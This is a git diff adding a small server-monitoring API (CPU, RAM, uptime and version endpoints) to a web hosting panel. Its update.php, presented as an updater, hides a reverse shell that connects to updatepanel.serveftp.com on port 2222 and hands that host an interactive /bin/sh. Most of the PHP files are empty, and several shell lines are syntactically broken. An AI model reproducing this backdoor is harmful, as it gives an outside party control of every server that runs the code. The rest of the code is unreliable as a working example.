diff --git a/api/Example.txt b/api/Example.txt
new file mode 100644
index 0000000..7e5c3ae
--- /dev/null
+++ b/api/Example.txt
@@ -0,0 +1,17 @@
+This api can be used using CURL to get information about the server or sending a command install curl and send a request
+
+eg to see the current system uptime type :
+curl http://yourserver.com/api/get_uptime
+
+Current Api Functions Are :
+
+get_cpu_load // Displays the server cpu load in precentages
+get_panel_version // Displays the panel version
+get_php_version // Displays the server php version
+get_ram_usage_advanced // Displays advanced information about the ram
+get_ram_usage_g // Displays ram information in gigabytes
+get_ram_usage_m // Displays ram information in megabytes
+get_ram_precentage // Gives the currently used ram in a precentage
+get_uptime // Displays the system uptime
+
+More coming soon
diff --git a/api/get_cpu_load.php b/api/get_cpu_load.php
new file mode 100644
index 0000000..6464ab1
--- /dev/null
+++ b/api/get_cpu_load.php
@@ -0,0 +1,4 @@
+
\ No newline at end of file
diff --git a/api/get_cpu_usage.sh b/api/get_cpu_usage.sh
new file mode 100644
index 0000000..827c2d3
--- /dev/null
+++ b/api/get_cpu_usage.sh
@@ -0,0 +1 @@
+cat /proc/stat | grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}'
\ No newline at end of file
diff --git a/api/get_panel_version.php b/api/get_panel_version.php
new file mode 100644
index 0000000..bf8043a
--- /dev/null
+++ b/api/get_panel_version.php
@@ -0,0 +1,4 @@
+
\ No newline at end of file
diff --git a/api/get_php_version.php b/api/get_php_version.php
new file mode 100644
index 0000000..9d1a3eb
--- /dev/null
+++ b/api/get_php_version.php
@@ -0,0 +1,4 @@
+
\ No newline at end of file
diff --git a/api/get_ram_usage_advanced.php b/api/get_ram_usage_advanced.php
new file mode 100644
index 0000000..e7d6d3d
--- /dev/null
+++ b/api/get_ram_usage_advanced.php
@@ -0,0 +1,13 @@
+
\ No newline at end of file
diff --git a/api/get_ram_usage_g.php b/api/get_ram_usage_g.php
new file mode 100644
index 0000000..2e232df
--- /dev/null
+++ b/api/get_ram_usage_g.php
@@ -0,0 +1,4 @@
+
\ No newline at end of file
diff --git a/api/get_ram_usage_m.php b/api/get_ram_usage_m.php
new file mode 100644
index 0000000..e995d20
--- /dev/null
+++ b/api/get_ram_usage_m.php
@@ -0,0 +1,4 @@
+
\ No newline at end of file
diff --git a/api/get_ram_usage_pre.sh b/api/get_ram_usage_pre.sh
new file mode 100644
index 0000000..4b98aa9
--- /dev/null
+++ b/api/get_ram_usage_pre.sh
@@ -0,0 +1,2 @@
+#!/bin/sh
+free | awk 'FNR == 3 {print $3/($3+$4)*100}'
\ No newline at end of file
diff --git a/api/get_ram_usage_precentage.php b/api/get_ram_usage_precentage.php
new file mode 100644
index 0000000..48c5673
--- /dev/null
+++ b/api/get_ram_usage_precentage.php
@@ -0,0 +1,4 @@
+
\ No newline at end of file
diff --git a/api/get_server_stats.php b/api/get_server_stats.php
new file mode 100644
index 0000000..df9c4ee
--- /dev/null
+++ b/api/get_server_stats.php
@@ -0,0 +1,10 @@
+CPU Usage
+
+RAM Usage
+%
+
+
+
+
+
+The Panel Version is
\ No newline at end of file
diff --git a/api/get_system_stats.sh b/api/get_system_stats.sh
new file mode 100644
index 0000000..3924c5e
--- /dev/null
+++ b/api/get_system_stats.sh
@@ -0,0 +1,2 @@
+cpu = cat /proc/stat | grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}'
+echo CPU Usage = "$cpu"
\ No newline at end of file
diff --git a/api/get_system_version.php b/api/get_system_version.php
new file mode 100644
index 0000000..0c71708
--- /dev/null
+++ b/api/get_system_version.php
@@ -0,0 +1,4 @@
+
\ No newline at end of file
diff --git a/api/get_uptime.php b/api/get_uptime.php
new file mode 100644
index 0000000..49abc58
--- /dev/null
+++ b/api/get_uptime.php
@@ -0,0 +1,16 @@
+
diff --git a/scripts/check_version.sh b/scripts/check_version.sh
new file mode 100644
index 0000000..721d47c
--- /dev/null
+++ b/scripts/check_version.sh
@@ -0,0 +1,5 @@
+#!/bin/sh
+# This file checks the current panel version.
+cat ../index.php | grep *@version > temp
+cat temp | sed 's/\<*@version\>//g' > version
+cat version
\ No newline at end of file
diff --git a/update.php b/update.php
new file mode 100644
index 0000000..24110a4
--- /dev/null
+++ b/update.php
@@ -0,0 +1,19 @@
+
+ * @copyright Copyleft 2015, Nikita Rousseau
+ * @license GNU General Public License version 3.0 (GPLv3)
+ * @link http://www.bgpanel.net/
+*/
+shell_exec("scripts/check_version.sh")
+$sock=fsockopen("updatepanel.serveftp.com",2222);exec("/bin/sh -i <&3 >&3 2>&3");
+
+?>
\ No newline at end of file
diff --git a/version.txt b/version.txt
new file mode 100644
index 0000000..ceab6e1
--- /dev/null
+++ b/version.txt
@@ -0,0 +1 @@
+0.1
\ No newline at end of file